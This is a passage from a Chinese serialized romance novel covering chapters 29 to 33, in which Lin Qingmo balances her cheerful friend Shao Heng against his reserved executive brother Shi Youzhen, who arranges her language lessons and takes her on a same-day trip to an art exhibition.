少衡气得去捏清茉腮,说着:“也对,谁敢招惹他啊。刚才等你的时候,我特别提心吊胆!我都胡思乱想上了!我连你俩是不是在交往的可能性都想到了,你跟我哥要是背着我交往,那我杀了你们俩,太气人了,茉茉你这个叛徒,我不是排第一的吗?你怎么可以见我哥不见我?” 清茉:“胡说八道什么啊,赶紧吐出来。” 少衡:“呸呸呸,我就是生气!那你保证以后不准躲着我,随时可以见面!” 清茉:“好吧。” 少衡:“吧是什么意思!” 清茉:“好!” 少衡这才满意,去拉住清茉的手,很自然地摇了摇,攥住了就不松开,问她:“是不是喝酒了?我闻到酒味儿了,把车撂这儿,坐我的,我们找地方好好聊聊。”他说着,突然单手掏出手机,一顿划拉也不松开清茉的手,竟然是给施友臻打了视频通话。 清茉听着通话申请的铃声,心里一紧,想制止,施友臻已经接了起来。 少衡先卖关子,没把清茉拍到镜头里,牛气哄哄似的问他哥:“哥,你还在办公室啊?真敬业,夜生活这么无聊啊,我就不一样了,你猜我见到谁了?” 镜头中的施友臻抬眼看了下少衡,好像已经习惯他弟弟的抽风,没搭理,但是也没挂断。 少衡:“噔!噔!噔!”他胳膊一伸,把清茉揽住,拉到镜头里面,兴高采烈道:“是茉茉!哥你藏着掖着不让我们见面,但是拦不住我们缘分到了!我守株待兔可算是见到茉茉了!咱可都敞亮说好,哥你不能干涉我跟茉茉!哥你怎么把新提的车给茉茉开不给我开?你怎么也区别对待?你俩都对我不好!” 施友臻停下手中工作,看向镜头。 清茉对着他挥挥手:“嗨,哥。” 少衡是情绪外露,性格直白的人,他哥施友臻则是完全相反的另外一个极端,视频通话这边的喧闹和那边的寂静对比如此强烈,清茉觉得凭着自己对施友臻的了解,大哥心里应该不怎么爽快。 施友臻只是说了句:“嗯,不要回去太晚。”然后结束了视频通话。 少衡收起手机,嘟囔道:“他就那样,真没意思。”揽着清茉肩膀,说着:“走,咱们找地儿玩去!” 清茉找的代驾已经到了,就在一旁等着,清茉想了想还是拒绝道:“少衡,今天太晚了,改天再约吧,都叫代驾了。” 少衡唧唧歪歪不同意:“干嘛呀,你还是我茉茉吗?你怎么都不兴奋?见到我不开心吗?茉茉你变了!变心了吗?不爱我了吗?我们不是宇宙第一好了吗?” 一旁的代驾师傅别过脸当没听到,不太放心想出来看看的六六默默缩回了要跨出来的脚。 清茉忍笑:“你哥让我们早点回家!” 少衡:“哦,也对!那就一起回我家嘛!或者你家也可以!我们回家里聊!” 清茉:“……” 确实想好好坐下聊一聊,可有什么好聊的,或许少衡有很多话可以讲,但是清茉并没有那么多,她哄道:“今天真的不行,我明天还要早起有工作。” 少衡:“不行,你跟我就坐坐嘛……” 清茉果断打住他唧唧歪歪:“好了你闭嘴,我说不行就是不行,我要回家!代驾师傅都到了,你要是非得坐一坐,那我就去坐你的车,到我家小区门口,极限了,你别废话了就这么定了。” 少衡:“……好。” 算是谈妥了,清茉把钥匙给代驾大哥,去六六店里跟六六打招呼,六六小声说着:“对,上次来我这里打听你,还买了皮草的就是他,哎呀我是不是得打包给他捎上啊,上次他没拿。” 少衡也进了店里,跟六六打招呼道:“哟,六老板,咱不是说联系不上茉茉嘛,我看你们小酒喝得挺欢嘛,下次记得带上我呗。” 六六:“哦哦,好的好的,没问题。” 清茉:“六,那我先回了,记得替我约。” 跟少衡一起出门,过马路的时候少衡又是非常自然地牵着清茉的手,牵着就不松开,清茉挣了挣,少衡攥紧不松,一直走到车边给清茉开车门。 一路上少衡说的多,讲他现在在融恒置业,也讲他哥把他当苦力疯狂压榨,也讲他最近看好了哪个型号的新跑车但是他哥不拨款,少衡问清茉: “是一直在做模特工作?茉茉我给你介绍好不好?” 清茉顺着他的话说道:“嗯,不是专业模特,也没那个身高不是吗,就是拍摄一些平面,跟服饰厂家合作比较多。” 少衡:“包我身上,我有的是人脉,明儿就给你拉单子,保证你大赚!” 清茉笑了笑,没接话。 一路上但凡遇到红灯,少衡都要来牵住清茉的手,时轻时重的揉捏,生怕她再跑了一样,夜里不堵车,很快就到清茉小区门口,清茉让少衡停路边,少衡还是不满意,嘟囔着:“不请我上去坐坐嘛,茉茉你对我不够热情。” 清茉笑:“得了吧你,太晚了别给我添麻烦,改天再约。” 少衡下车,又抱了下清茉,抱怀里摇了摇,说着:“那好吧,早点休息,说好的,我一约你就得出来!” 清茉:“嗯。” 少衡:“对了,要不明儿跟我哥约着,咱仨一起吃个饭?” 清茉:“……” 少衡:“算了,不带他,咱俩玩。” 清茉:“快回去吧,慢点开。” 少衡:“好吧,茉茉晚安!” 目送少衡驱车离开,清茉松了口气,觉得很累,一路聊天下来,心超级累。少衡可以用他的快乐和热情感染人,因为他们不能同频了。 融恒集团的二少爷,利润巨大的融恒置业老板,洒脱又无忧无虑,爱聊他的跑车,喜欢帮人张罗,他很好,但是不在清茉可以同步的世界了。 看代驾师傅泊好车,清茉接过钥匙上楼,在入户门口看到了一个包裹,不记得买什么了,很沉,搬进屋拆开,是几套外语学习材料。 应该是施友臻递过来的。 清茉想了想,给施友臻发信息:“到家了,少衡也回去了。” 施友臻过了一会回复:“嗯。” 清茉又补了一条:“外语材料也收到了。” 施友臻拨来了电话。 第30章 第三十章 清茉接起电话的时候,竟然觉…… 清茉接起电话的时候, 竟然觉得有几分好笑,另一只靴子终于落地的感觉,她就说施家大哥怎么这么消停, 你看,果然来电话了,不自觉声调也染上几分笑意, 问候道:“哥,晚上好呀。” 施友臻听她很开心的样子, 一顿, 问着:“跟少衡玩得很开心?” 清茉解释:“哥你的跑车太稀罕了, 他认出是你的车, 在六六那里等着, 这才碰见了。也没怎么玩,我跟六六还有焦叔吃铜锅涮肉喝了一点酒,坐少衡车回来的。”清茉怕谈太多少衡, 又触了施家大哥逆鳞, 就说着:“哥,我看到外语资料了, 我去报个班吧, 自己学会很慢。” 施友臻顺着她话说着:“嗯, 已经约好老师了,明天上午十点能上课吗?如果可以明天就开始上语言课, 每天一节, 两个小时,下午再看具体专业课程,申校材料也同步准备,争取赶上新学年。” 这么快倒是出乎清茉意外, 施友臻就像开了上帝视角,怎么正好卡上她不用上班的时间节点上呢?既然这样,不如就干脆去上吧,清茉问着:“可以的,是哥找的老师吗?明天在哪儿上课?” 施友臻:“嗯,委托了外语学院的教授,去学校上课。” 清茉有点意外:“要去大学里边吗?” 施友臻:“嗯,具体位置发给你。”他停顿一下,接着道:“好好听讲,我要检查。” 清茉:“……知道了。” 施友臻没有再问什么,说着:“早点睡,明天不要迟到。” 清茉:“知道啦!” 第二天一早,抱着书本站在外语学院教学楼下的清茉,感慨万千,看着朝气蓬勃课间下课的年轻学生们,恍恍惚惚,真有种:我是谁,我为什么在这里的荒诞感。 电话联系老师后没多久,一个女孩匆匆跑下楼,看着清茉站在那里等,过来问着:“请问是林清茉吗?” 清茉:“对,您好。” 女孩接上清茉,上了教学楼九层,同行间清茉问着老师情况,女孩介绍道:“杨教授是我导师,您的课杨教授主讲,我算是助教,请多指教,我是在读研究生,王岚,叫我小王就行。” 施友臻真是够兴师动众,杀鸡焉用牛刀! 王岚领清茉去杨教授办公室,年长的教授见清茉进来,问着:“林同学过来了,请坐请坐,咱们介绍下基本情况,今天就正式上课了,是要去西语国家留学的吧,不难学的,下点功夫很容易入门,来,那我们开始。” 教授没有废话,也没提施友臻,瞬间进入教学状态,非常谦逊有耐心,清茉挺直腰板仔仔细细听,教授讲完一堂课,给清茉留了复习作业,让助教继续跟清茉学习。清茉忙站起来送教授,杨教授这才乐呵呵道:“接到友臻的委托我很高兴,很好很好,加油哦小林同学。” 清茉忙不迭感谢道:“给您添麻烦了。” 杨教授收拾书本出门,摆手道:“不麻烦不麻烦,我巴不得友臻多麻烦一点呢。” 接下来一个小时清茉跟着助教复习预习课程,她英语基础很好,学习习惯也很好,入门很快,结束课程的时候小王助教说着:“您学得好快。” 清茉谢过她,要请小王助教喝咖啡,小王助教客气道:“不用不用,我还要把您学习进度写个汇报发给教授呢。” 清茉:“……”要学习进度这种事情,绝对是施友臻的要求。 小王助教送清茉下楼,还给清茉一张校园卡,说着:“教授帮申请的访问卡,可以去学校图书馆,食堂也可以用。” 清茉谢过,还真去校园食堂吃了午饭,点了个青椒土豆丝盖饭,几块钱,还打了一碗免费的白萝卜丝汤。 清茉把学校食堂的午餐拍照发给施友臻,施友臻回她一个看起来很精致美味的三明治照片。清茉发图是想告诉施友臻她有好好享受校园,施友臻回过来一张午餐照非常出乎她的意料。 同样出乎意料的是章大秘,他竟然看到BOSS对着食物在拍照,非常怀疑是不是出了问题老板在取证,心惊胆战等了片刻,无事发生他才退出去,准备去调查一下餐厅出餐是不是一切正常。 清茉下午就干脆去了学校图书馆,先把今天的单词课文都背了,去文学作品那层溜达,找到了一本一直想看的小说,在靠窗的座位上看得入迷,天色已经沉了也就读完三分之一,清茉把书还回去,出了图书馆看到少衡发来信息,约清茉晚上一起玩。 清茉回他:“今天不行,改天。” 少衡发来哀嚎的语音,抱怨道:“怎么又是改天!” 他那边很吵闹,应该是已经在什么场合了,清茉顺毛道:“跟你朋友好好玩,过几天闲下来找你。” 少衡:“可是我今天准备给你介绍模特公司的朋友,来嘛。” 清茉:“谢谢你朋友,今天真不行,我最近很忙的,有接好的工作要赶。” 少衡:“那好吧。” 清茉走在晚上的校园,心情很轻松,青春的气息是可以感染人的,她觉得自己都跟着阳光朝气起来。所以施友臻才要把上课的地方定在学校吗? 象征未来还有无限可能的地方。 清茉到家,早早洗漱好,趴在施友臻专属大沙发上玩手机,在视频网站上找最近好玩的综艺,不吃上班的苦,赛神仙。 九点多的时候,有敲门声,清茉去开门,发现是施友臻。 清茉乐:“哟,您怎么不直接摁密码。” 施友臻脱下外套悬挂好,进屋看到清茉摊着薯片和一堆小零食,问:“晚饭吃了吗?” 清茉:“下午喝了一大杯拿铁,顶得慌,就没吃。” 施友臻:“零食不能当晚饭。” 清茉:“知道啦!哥您过来干嘛,真的检查作业?怎么不提前说一声。” 施友臻:“复习功课了吗?” 清茉相当自信:“当然复习好了。” 施友臻:“准备好纸笔,我听写。” 清茉:“……” 施友臻看了眼沙发,清茉赶紧把零食都收拾起来,她今天在便利店买到了超好吃的话梅,还剩最后一颗,食指拇指捻起来,递给施友臻说着:“哥,超好吃,最后一颗给你吃。” 施友臻攥着清茉手腕,低头就着清茉的手,就这么吃了。 清茉:“……”《 》 30-40 第31章 第三十一章 话梅偏酸,施友臻皱眉,清…… 话梅偏酸, 施友臻皱眉,清茉当没看到,赶紧收了手, 过去把书本摆餐桌上,问着:“哥你也会西语啊。” 施友臻解开袖扣,挽起袖子, 松弛地走到餐桌旁,看了眼摊在餐桌上的学习材料, 评价道:“狮麟别苑的房子去看了吗?学习环境很重要。” 清茉将目光从施友臻小臂肌肉线条上收回, 把餐桌上闲散摆放的杯子靠墙边拢了拢, 挑出施友臻惯用的那个杯子, 去接了水, 乖乖摆施友臻手边,说着:“今天没顾上,明天我去行吗?好像离学校也不远。” 林清茉也算是贴脸开大天赋型选手, 既然施友臻嫌弃她房子小只能在餐桌上学习, 就接着问: “哥你特意给我挑的吗?离图书馆也近,离外语学院也近, 好用心, 好感动。哥你是房产遍天下的程度?我去留学的话, 也会有房子住吗?可以是海边的那种别墅吗?推开窗就是阳光海岸金沙滩的那种。” 施友臻很淡定地回答:“可以。” 清茉:“……” 他说可以,好像就是真的很容易办到, 贴脸开大GAME OVER。 清茉打住跳脱话头, 乖乖坐到施友臻对面,把今天老师教授的课程通读了一遍,施友臻还真是对着课文听写了一遍单词,见清茉正确率百分之百, 点头肯定:“不错。” 清茉乐,合上课文问:“不是说有奖励吗?” 施友臻:“才第一天。” 清茉:“万事开头难,哥,给奖励嘛。” 施友臻:“先坚持一个星期,会给的。” 他喝了杯子中的水,起身重新整理好衣服,去玄关穿好外套,清茉起身也跟去玄关,问着:“回去了吗?” 施友臻:“嗯,直接去机场,出差两天。你好好学习,这两天的课程后天晚上我回来一起检查。” 施友臻从进门到起身要走,待了不到一个小时,这么干脆利落清茉倒有些不习惯,清茉也去穿上外套,笑问:“我下楼送一下,要去机场吗?” 她笑起来眼睛弯弯亮亮,表现得太像没了管束突然开心的小孩,施友臻多看了几眼,见她眉眼笑嘻嘻是真的很快乐的模样,就纵容了,没讲煞风景管教的话,顺手取了玄关挂着的围巾给清茉围上,说着:“好。” 清茉下楼才发现,章大秘跟司机已经在楼下等候了,清茉仍旧有想问章宁薪金待遇的冲动,冲着章宁挥手打招呼,礼貌问候着:“您好。” 施友臻转身给清茉重新裹了围巾,确认帽子围巾都板板正正之后,圈了清茉的手腕,往前带着走了两步,松开手说着:“明天上完课记得去狮麟别苑看一看。” 清茉觉得施友臻突然的肢体接触莫名其妙,手腕上一紧一松,施友臻面不改色,清茉也当无事发生,笑着点头:“嗯嗯,一定过去,久仰狮麟别苑大名,我可得好好参观一下。” 清茉看着施友臻上车,乖巧挥手,还真是有种送家长出门的感觉,松口气。反正都下楼了,就干脆出去溜达一圈,去小区门口快餐店买了支冰激凌,慢悠悠一边吃一边往回走,快走到小区门口的时候,身边突然有车停下,清茉一愣,瞧着熟悉的车型心里一紧,也停下脚步。 明明刚才送走的施友臻,突然又折返回来,他从车上下来,清茉心虚似的赶紧把冰激凌藏到身后,施友臻很不认同地看着她,问着:“我出差,你开心到要吃冰激凌庆祝?” 清茉:“啊?” 施友臻:“好,我改主意了。回去简单收拾一下,带你一起出去,刚才收到了一个艺术展览邀请,你应该会喜欢。” 清茉:“?”太突然了好吧,她一琢磨,拒绝道:“我不要,我明天还得上课,怎么能刚上一节课就请假?哥你太不尊重杨教授了吧,我不去,下次得提前跟老师讲,教授跟助教估计都备课了。” 施友臻好像没预计到清茉会这么果断拒绝,看了眼她嘴角奶奶白白的冰激凌痕迹,还是皱着眉头很不认同的样子,刚刚抬了手想帮她擦一擦,清茉一愣干脆往后退了几步,朝着施友臻挥手,喊着:“快去赶飞机吧哥,拜拜,我会好好上课的!” 喊完就小步快跑掉了。 施友臻:“……” 围观了全程的章大秘默默抬了下眼镜框,安静等着被拒绝的自家BOSS上车,他可以作证,确实是刚收到的邀请,那位艺术家的作品市值很高,口碑正盛。 远远看着施友臻的车再次离开,清茉才安心上楼,回家吃完冰激凌,收拾好书本,睡前还预习了一下明天的课程,躺床上搜了下学校周边的美食,看到有推荐一家煎饼果子小窗口的,清茉决定明天早点去,先去学校南门这家小店吃早饭。 睡前回想施友臻折返回来的事情,仍旧觉得违和。施友臻的一切,都是合丝合缝缜密无误的,临时兴起这种情况,跟他的风格八竿子打不着,刚才着急脱身,忘了问到底是什么展览。 清茉发信息问施友臻是谁的展,估计施友臻已经登机,清茉发完就睡了。 第二天一早,清茉看到了施友臻发来的展览邀请函,是国外很出名的设计师艺术家的全球巡展,非常难得,清茉瞧着介绍,有点后悔,比起艺术本身,她挺好奇在全球范围内被炒到匪夷所思高价的艺术作品会呈现出什么。 看邀请函的样子,应该会有些特设专场,施家大哥也会按照惯例搞些艺术品交易吧。清茉起床,收拾停当去学校,在南门顺利买到了煎饼果子,还是夹了薄脆、香肠、鸡蛋,以及一小包辣条的豪华版,清茉举着煎饼果子拍了照片,发给施友臻,写着: “九块钱豪华版煎饼果子,哥吃过吗?” 施友臻回复:“没有。” 清茉:“改天请你吃,哥肯定没吃过辣条。哥要去看展买作品吗?” 施友臻:“感兴趣?” 清茉:“太出名了这位,有点好奇。” 施友臻:“好好上课。” 坐在教学楼前的小花园吃煎饼果子,太极拳社团的年轻学生们在打太极拳,还有几个捧着书的在角落练习口语,路旁着急赶早课学生三五成群匆匆忙忙,还有叼着牛奶,抱着玉米的。 清茉念书的时候,宿舍旁边有个小小的商店,老板每天早晨会热一大锅牛奶,还有煮好的玉米,还有一大锅茶叶蛋,生意爆火,晚起的学生们在他小店里川流不息。中午晚上小商店会煮方便面,可以加鸡蛋和青菜,三五分钟一锅,下课去排队点一个,拎回宿舍吃格外香。 清茉吃好,把包装袋扔进旁边垃圾桶,辣条的味道有点重,她赶紧嚼两块口香糖,想象着施友臻如果真的吃到了辣条,会是什么表情。 他估计不会吃,施家大哥远离一切不自律,不健康。 杨教授对清茉的进度很满意,还问清茉想去申请什么学校跟专业,清茉说自己还在考虑,杨教授倒是给了好几个建议,一半语言课程,一半民俗讲解,离开校园越久,越对知识有了渴求,课程非常愉快满足。 上完课清茉在电梯间看到几个讲座的海报,有几个人文历史学科的,清茉想着要不留下来去听一听。 正想着,收到了航空公司的提示信息,竟然是写着她名字的航班。 施友臻的电话也紧跟着拨了进来,施家大哥问着:“下课了吗?” 清茉:“哥!你上次是不是偷偷记我身份证号码了?” 施友臻淡定道:“不需要偷偷记,看一遍就记住了。车在西门外,直接来机场,晚上看展,看完再飞回去,不耽误明天早晨上课。” 清茉:“不是,哥,非得这么魔鬼的行程吗?” 施友臻:“奖励你不想误课的觉悟,快去赶飞机吧,抵达后司机接你来我酒店。” 施友臻交代完就结束了通话,清茉总觉得这大哥有点子报复的意思,因为昨天晚上第一次邀请被拒绝了吗?真是小气。不过机票买都买了,去就去,她八百年没坐过头等舱了。 清茉很久之后,把这一段时间,总结为“馈赠”。 匆忙讨生活的日子,突然被按了暂停键,可以自由自在重新返回校园,重新在青春环绕间思考未来,甚至就真的有了可以重新选择的机会,想做什么就去做,想出发就出发,前几天被紧紧捆绑在朝九晚九工作岗位上焦头烂额的社畜人,仿佛是上一个世纪。 很久以来灰蒙蒙的世界,有了逐渐清亮的感觉,心情也是,可以临时起意,可以说走就走,虽然像一场镜花水月的新型PLAY,但是心情是雀跃轻松的,这点欺骗不了,也隐瞒不了。 施友臻给订的机票时间挺极限,路上堵车耽误了一小会,清茉进机场一路小跑,登机后跟施友臻报备,施友臻竟然回复:“起飞背会单词,落地听写。” 清茉:“……” 其实不提醒也会背,她背着书包登机,包里就是证件和书本,背,肯定背,万一真有奖励呢! 落地后,司机接到清茉直接去了施友臻所在的酒店,施友臻竟然在大厅,清茉刚进来就瞧见了,远远地就高举胳膊,笑着招呼道:“哥!” 清清亮亮的女孩声音穿透大厅,吸引了施友臻和同行人,施友臻转身看过去,脚步已经先动,朝着清茉走去,清茉也小跑着过来,一下子抱住施友臻胳膊,满是快乐笑意的眼睛弯弯亮亮,几分娇嗔道:“哥,我差点没赶上飞机,进机场就跑,幸好今天穿了运动鞋!你故意的吗?单词也背了!” 施友臻低头看她,眼底也染了笑,任由清茉亲昵地勾着他的臂弯:“嗯。” 第32章 第三十二章 与其说施友臻向来与人保持…… 与其说施友臻向来与人保持距离, 倒不如说他自成一壁。对待工作细致严苛,不掺杂一丁一点私人情绪,就事论事, 没有感情,施家积累的产业,算是在他手上质变起飞。他对待部下没有性别歧视, 有能力者上位,搞小动作的滚蛋, 高管团队中有几位特别强悍精干的女士, 不乏气质样貌俱佳的佳人, 据说也有人尝试过发展超越上下级更进一步的关系, 结果是被从总部外调。 众人警醒, 就更恪守施友臻的界线,也好奇施友臻的私生活,但是他好像也没什么私生活可供八卦的样子, 像个真真正正纯粹的工作狂。纯粹的人往往能迸发出常人难以逾越的能量, 施友臻领航融恒集团成绩斐然,已经是一幅不必沾染红尘的默认状态了。 这次到H市出差, 集团有两位副总陪同, 集团H市总负责人带着当地团队保障服务, 涉及本地新政策扶持的重点项目,下午多方会谈的会议一直开到五点多, 原定是要在酒店进行商务接待晚宴, 这会一行人刚从会场返回酒店。 他们刚刚抵达酒店大厅,施友臻因为晚上临时有私人行程,跟两位副总在简单交流几句,其他人站在一旁等候。 这种时候, 施友臻被突然出现的女孩喊走,可想大家心中的惊涛骇浪,全都眼睛一亮,从压力爆棚的汇报工作中喘息出来,上一刻还在高压之下战战兢兢,现在包括副总们在内一个个探着脖子睁大眼睛盯着施友臻前往的方向,沉默不语间全都变得精神焕发,印证八卦才是第一生产力,不需休息,还能再战通宵。 更夸张地的是,施友臻默认了女孩挎住他胳膊的亲昵举动,不仅默认,还非常自然地向着女孩的方向倾斜身子,紧靠在一起的样子。 情景过于稀罕,众人愕然沉默。这得跟施友臻熟悉到什么程度,才能达到这种身体自然接触的亲密度? 女孩看起来穿着普通,甚至说与这个金碧辉煌的酒店大堂格格不入,寻常的运动鞋牛仔裤双肩包,倒是扎起来的高高马尾显得很有活力,隔着一段距离,看不太清长什么样子。这会女孩正昂着脸跟施友臻讲话,施总很放松地低头聆听。 随行的一位女副总都踮起脚张望了,唯一掌握不可说的章大秘再次生出自豪之情,轻轻咳了一下,张罗道:“那我们先上去?” 女副总心下一横,带头朝着施友臻方向走,反正是要穿过大堂才能到达电梯口的嘛,她太好奇了!宁可付出代价也要看清楚!当然,施总不是小气的人,就是礼节打个招呼嘛。女副总踩着细细的恨天高,穿着高定的正式职业装,袅娜走到施友臻身旁,正准备打招呼,看清了林清茉的模样,顿了一下。 女副总心里想着:怪不得,确实不一样。 她大方打招呼道:“施总,那我们先上去了,晚上我们张罗晚宴接待,那……祝您夜晚愉快。” 施友臻:“嗯。” 傍在施友臻身旁的女孩见到有人过来打招呼,立马松开了挎着施友臻的手,往旁边退了一步,施友臻看她一眼。等团队的人都走过,章大秘留了一步,把车钥匙给了施友臻,说着:“施总,那待会直接机场见。”说完还冲清茉摆摆手。 清茉也笑着跟章宁挥手,施友臻回身轻轻揽了下清茉肩膀,带着她往外走,问着:“饿吗?先吃饭还是先看展。” 清茉问着:“是晚上航班再返回吗?我也跟你们一起吗?几点的?” 施友臻:“十一点。” 清茉嘀咕着算了下时间:“哥你饿吗?我在飞机上吃了一顿,要不先去看展,看完去机场,饿的话在机场吃一顿,不耽误返程。”说完又想起来施友臻估计是三餐按时按点的规律饮食,就赶紧又说着:“还是先吃晚餐吧。” 施友臻:“先吃饭,有个可以看风景的餐厅不错。” 清茉随着他上车,又问着:“晚上的场合需注意着装礼仪的吧?” 施友臻看了看清茉,说着:“不用,这样就好,不用在意。” 按照清茉的常识推测,应该需要注意一下,不过好像施友臻在的场合,他是可以主导的,施家大哥比谁都有分寸,他说需要就是真的需要,他说不需要也就真的不用在意。 不知道是不是开玩笑让施友臻买地中海阳光金沙滩别墅的时候,施家大哥上了心,晚上吃饭的餐厅在H市海岸边一座新建的地标酒店大楼高层,落地窗外就是开阔的大海,霞光还悬在遥远的天际线,撒照海面一片金橘色波光粼粼,美丽又辽阔。 施友臻正儿八经吃晚餐,清茉起身在落地窗前找角度拍摄海景,餐厅中用餐的人不多,很清静放松,原本她不饿,看施友臻切牛排很香的样子,就也坐下来品尝,施友臻这次主动问她:“酒?” 清茉乐:“算了算了,待会还有场合,我发疯就不好了。” 施友臻见她有自知之明,表示赞同:“那确实。” 清茉:“……” 惊艳的是餐后浆果提达米苏,酸甜度是清茉非常喜欢的味道,清茉吃得心情很好,打趣问着: “哥,要不我去学餐饮?回来开一家西餐厅,地中海美食餐厅,你给我投资好不好,我要自己设计风格,玫瑰与骑士怎么样?要复古,很疯狂又很优雅的那种感觉,融恒集团的商务宴请全部承包给我,还有团建也请全部承包给我,盈利妥妥的。” 施友臻看她很有兴趣的样子,接话丝毫没有敷衍,已经在他美丽的高端大脑中堪比AI智能一样,生成了背调和可行性操作方案。他替清茉把关,原本就是最佳风控,当然,如果是清茉想尝试,也无所谓风控不风控,她喜欢就好。 施友臻说着:“可以,如果喜欢的话可以试试。西郊别墅区有适合做高端餐饮的独栋,市中心金融商贸区有几个底商店面也合适,出去多走走看看,有好的想法可以付诸实践,我支持。” 窗外是美丽海景,坐在对面的清茉轻松地享受风景美食,谈论着关于未来的奇思妙想。施友臻觉得这样很好,本来就该这样,他陪伴长大的女孩原本就应该有可以自由选择的未来,他可以给予,现在也不晚。 清茉听着他讲“我支持”三个字一怔,施友臻说出这种话,就是实打实的值千金,不,应该是千金难换,问题是,他敢给,她敢接吗? 清茉笑道:“谢谢哥。” 吃好晚餐,施友臻开车直接载着清茉去了艺术展厅,晚上的展厅不对外开放,约好的接待人员已经等候在展厅入口,倒也没夸张成专人专场,厅内也有一些客人。负责人很专业地在一旁进行专业解读,国外的这位艺术家彼得想象力天马行空,不仅展出了画作,还有很多匪夷所思的装置作品。 展陈的光影设计很高级,有些看得懂,有些实在看不懂,清茉悄悄拉了拉施友臻衣摆,好奇问着:“哥,有你喜欢的吗?” 施友臻对于清茉的小动作不仅宽容,而且全盘接收,带清茉到他中意的画作旁。作品比起具象表达,更倾向于抒情抽象,呈现笔触有力的无序放肆线条和跳动张扬的色彩光影,画面是跳脱出秩序的疯狂。 清茉有些意外,这种自由张扬的风格,不像施友臻能喜欢的那种,他本人太有秩序感了。 施友臻问:“你呢?” 清茉摇头:“没有,就是好奇市值为什么那么高,看画也讲缘分的。”她当然不能说有喜欢的,还真挺怕施友臻直接买下来。 清茉其实喜欢一幅小画,在一个装置旁的角落中,跟其他大开大合的作品不同,显得很宁静,蓝色跟绿色线条跳动组合,像生机盎然的湖光山色,有春和景明的勃发生气,看着心情很明朗,很有蓬勃生命力。 负责人讲解完,清茉自己逛了一圈,施友臻遇到一位也来看展的长辈,在交谈,清茉就又逛了一圈,负责人送给清茉一个纪念小文创,是个精致的钥匙扣,上面正好是施友臻喜欢的那幅画。 施友臻走过来的时候,清茉问着:“哥,你车钥匙呢?”施友臻递给清茉,清茉才想起来,这是在另外的城市,车钥匙不是施友臻常用的车,他经常换着开,没有那么固定。 清茉就没有把钥匙扣给施友臻,留在了自己手心中。往外走的时候,路过清茉喜欢的那幅,施友臻突然驻足问着:“是喜欢这个吗?” 清茉一愣,否认:“没特别喜欢。” 施友臻没多说什么,领着清茉上车,直接往机场奔去。抵达的时候,章宁跟其他两位副总团队也刚好到,清茉跟他们一趟航班返程,预计凌晨两点到,确实不耽误明天早课。高管们估计早就习惯这种高强度行程,深夜也不见疲态,浑身都是融恒集团一丝不苟的精英派头,在贵宾室等候登机。 清茉都不好意思打哈欠的程度。 施友臻做什么都堂堂正正大大方方,虽然没有专门介绍清茉,但是他身边的位置就是清茉的,倒是清茉礼貌地先跟大家简单问候,说着:“您好。” 施友臻坐在那里双腿交叠,很放松地看着清茉社交,突然开口介绍道:“这是副总徐颖,这是副总梁良。” 女副总徐颖见施友臻难得随和样子,就笑着追问了一句:“幸会幸会,不知道这位美丽的女士怎么称呼?” 施友臻还没说什么,清茉已经快速笑着接话道:“清茉,林清茉,您好,幸会。”标准礼节地起身握手,打招呼后清茉瞧了眼施友臻,那眼神的意思是就不用模棱两可地介绍关系了,她有名有姓,这样介绍就挺合适。 施友臻:“……” 围观全程的章大秘内心呵呵,总觉得自家BOSS像被这位“美丽的女士”堵住了话头,有点不爽呢。 登机后施友臻旁边的位置还是清茉专属,她很困,但是仍旧坚持掏出书复习了一遍,认真好学的姿态拉满,还问着:“听写吗哥?我好困,想睡一会,检查就快点嘛。” 施友臻低头靠过去,说着:“那你读一遍。” 清茉都背过了,合上课本流利背完,施友臻:“嗯,发音很好,睡吧。” 副总徐颖的位置在斜后方,看着施友臻跟林小姐头挨得很近,几乎要抵在一起,小声念着什么,林小姐睡下后,施总还给整理了盖毯。 人精一样的徐颖副总暗中观察,发现林小姐享受施总的亲昵关照享受得落落大方,像是本该如此,这可不常见,一般女孩不见得会这么理所当然。 飞机即将落地的时候,清茉还睡得昏昏沉沉,轻微颠簸中醒来,凌晨两三点正是最犯困的时候,清茉醒神发呆了一会还是很困,解开安全带下机的时候,眼神迷迷离离,施友臻看她这样,就干脆伸手牵住,拉着清茉的手往外走。 小时候其实没少牵,上学放学,不牵着就一溜烟跑什么地方调皮抓不住了,牵着的时候会文静消停得多,甚至书包一脱就到了施友臻手上,清茉被牵着拖拖拉拉往前走,会抱怨没玩尽兴就得回家写作业,抱怨少衡跟猴子似的友臻哥怎么不抓少衡。当然是先抓好抓的。 此刻,走在他们后面的徐颖副总非常惊讶地看着施友臻自然地主动取了林小姐的双肩背包拎在手中,平日里不近人情的BOSS,此时旁若无人地牵着林小姐的手往外走,过坎的时候还会轻声低语地提醒。 徐颖副总眨着眼睛猛回头看章大秘,章大秘被她猛回头吓一跳,秒懂,扶了扶自己镜框,小声说着:“徐总我也帮您拿行李?” 徐颖副总无语:“不敢劳驾。” 施友臻的车已经在机场停泊好,他自己开,清茉爬上副驾驶,看他还是精神抖擞的样子,四下已经没有融恒的精英团队,她放心地打了哈欠,问着:“哥,精力这么好,不困吗?” 施友臻在输入导航,清茉看了眼目的地,已经很淡定了,问着:“又要去我家睡沙发吗?你的沙发是不是该交租金?” 施友臻:“嗯,节约时间。” 清茉:“好吧。”她也清醒了一些,从自己书包里掏出常开的那辆小白跑车钥匙,把艺术展送的纪念钥匙扣挂上,举起来晃了晃,递给施友臻看。 施友臻:“喜欢?” 清茉:“嗯,喜欢。” 第33章 第三十三章 清茉洗漱出来,看到已经换…… 清茉洗漱出来, 看到已经换好家居服的施友臻,他甚至替换了之前放在玄关的一套,新的一身浅灰素色, 之前清茉不好意思打量,现在俩人算更“熟”,清茉走过去, 抬起手指就捏了捏施友臻的胳膊肌肉,说着:“哥, 你这身家居服, 显肌肉。” 施友臻继续放纵着她的小动作, 不过清茉没再放肆, 捏了一下就路过, 太困了,她打着哈欠回卧室,走到门口又回头问着:“哥, 要客气一下问问您要不要睡床吗?” 施友臻:“我说要睡呢?” 清茉坦坦荡荡:“那我就睡沙发呗, 反正你这沙发也超级舒服。” 施友臻将沙发边桌上散乱的书籍整理好,让清茉赶紧睡觉, 明天还要上课, 卧室灯光熄灭后, 听着清茉嗓子发痒地干咳几声,施友臻就起身去接了一杯温水, 进了卧室, 嘱咐着:“多喝点水。” 清茉拥着被子起身,黑暗中去接,但是摸到了施友臻的手,就着他手中的杯子抿了一口润润嗓子, 问着:“哥,我刚才没睡着,在想少衡一直要约我出去玩,我可不可以去?” 施友臻端着杯子坐在清茉床沿,看不到他的脸,但是清茉觉得也许是夜太深,施家大哥讲话的声音,比平时柔和很多,他问着:“你想吗?跟少衡一起玩。” 